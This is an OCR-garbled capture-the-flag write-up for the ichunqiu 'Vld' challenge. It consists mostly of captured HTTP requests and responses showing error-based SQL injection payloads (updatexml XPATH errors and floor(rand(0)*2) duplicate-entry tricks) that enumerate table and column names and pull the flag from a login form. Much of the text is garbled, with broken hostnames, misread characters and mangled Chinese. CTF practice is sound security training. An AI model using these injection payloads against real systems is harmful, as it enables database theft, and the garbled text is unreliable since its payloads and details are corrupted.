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M Load URL http:/ Dba =80c3ce4d0c59al%7 78841d5.game.ichungiu.com/index.php?flagl=fvhjjihfcy E;_fl.ag2:gfuy‘iy‘hio'y-fEL.fI.ag3:',,-'ugoii',-'hi|
M Split URL

© Execute

Enable Post data Enable Referrer

do you know Vulcan Logic Dumper?
the next step is 1chungiu.zip
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1. updatexmljyi%.

number=0&username=test%00' and updatexml(l,mid((select concat(4l, group_concat(column_name) ,41) from
information_schema.columns where table schema=database() },20,48),1) %23&password=f&submit=Submit+Query

B {TEHIR | XPATH syntax error: 'flag,username, password, number41!®
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Raw | Params | Headers Hex Raw | Headers | Hex
POST /1chungiu/Legin.php HTTP/1.1 B HTTP/1.12000K

Host: 7e10ba34083047deB0c3ce 4d0c59a19a7a628f c 7f 78841d5. game . i chungiu. com Server:nginx/1.10.2



User- AQent: MOZ1LLa/5.0 (XLL; LINUX X85 _64; FV218.0) G2CKO/ 20100101 H1reTox/ 18,0 Late: sun, 15 ApF 2018091 11121 GMI

accept: text/html, application/xhtmlxml, application/xml;q=0.9, */+;q=0.8 Content-Type: text/html; charset=utf-8

Accept-Language: zh-cn,en;q=0.7, en-us;g=0.3 Content-Length: 76

Accept-Encoding: gzip, deflate Connection: close

Referer: http://7e10ba34083047deB0c3cedd0c 592 1957628 c7f 768841dS. game . ichungiu. com/1chungiu/login. html X-Powered-By : PHP/S.5.9- lubuntud. 19

Cookie: chkphone=ackixNpxhQpDi AchhNUSNE]y1QUDI 00000; vary: Accept-Encoding
UM_distinctid=162bd4488372b- 0293ea25h2f 69a8- 36634642 1fa400- 162bd 5 pav_pvi=:

Hn_Lvt_2d0s01bd28de7d49818240cf 35d95043=1523593810, 1523504000, 1523672115; WIBEEMITHIR ! XPATH syntax error: ' flag{3902d941-79c5-407f-8dsb-7d1"
Hin_Lvt_ 16; Hm_lvt_1a32f 7c660491887db0960e0c314b022-1523503816

Connection: close
Content-Type: application/x-wav- form-urlencoded
Content-Length: 157

number=0Susername=test%00' and updatexml (1, (select mid(concat (41, group_concat(flag) ,41) ,1,51) from ctf.flag ),1)
%23&password=f&submi t=Submi t+Query
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select mid ( column_name, FFa66L, KB&)from ... .
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number=0&username=test%00' and (select 1 from (select count(*),concat( floor(rand(0)*2),database())x from

information_schema.tables group by x )a) ;%23 &password=k&submit=Submit+Query

X-Powered-By: PHP/S. 5.b— lubuntu4. 19

MiEFEMITHIR 'Duplicate entry '0ctf' for key "group_key'

5 2 4 4 fifctf.
RENBRIR AT B

number=0&username=test%00' and (select 1 from (select count(*),concat{ floor{rand(0)#*2), (select table name from
information_schema.tableswhere table_schema =database() limit 1 ))x frominformation_schema.tables groupbyx)a) ;%23
&password=k&submit=Submi t+Query

X-Powered-By: PHP/5.5.9- lubuntu4.19

#iEE{THIR 1 Duplicate entry '0flag* for key *group_key’|

Content-Length: 270

number=0ausername=test%00' and (select 1 from (select count(*),concat( floor(rand(0)*2), (select column_name from
information_schema.columns where table _schema=database() lamit 1 ))x frominformation_schema.tables groupby x Ja) ;%23
&password=k&submit=Submi t+Query
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Content-Length: 209

number=0&username=test%00' and (select 1 from (select count(*),concat( floor(rand(@)*2), (select flagfrom ctf.flag ) )x from
information_schema.tablesgroupby x )a) ;%23 &password=k&submit=Submi t+Queryy
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Vary: Accept-Encoding
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fE#&Ftable_name Fcolumn_name i 1% 5t B 3 Fwhere table_schema = database()k#47 K 7 Bl 2R IE .

Pt
1. Vi F —Zkopcode ] T fi# .
2. Rt
3. sqBfEETENAN.



	[百度杯]十月场 Vld writeup

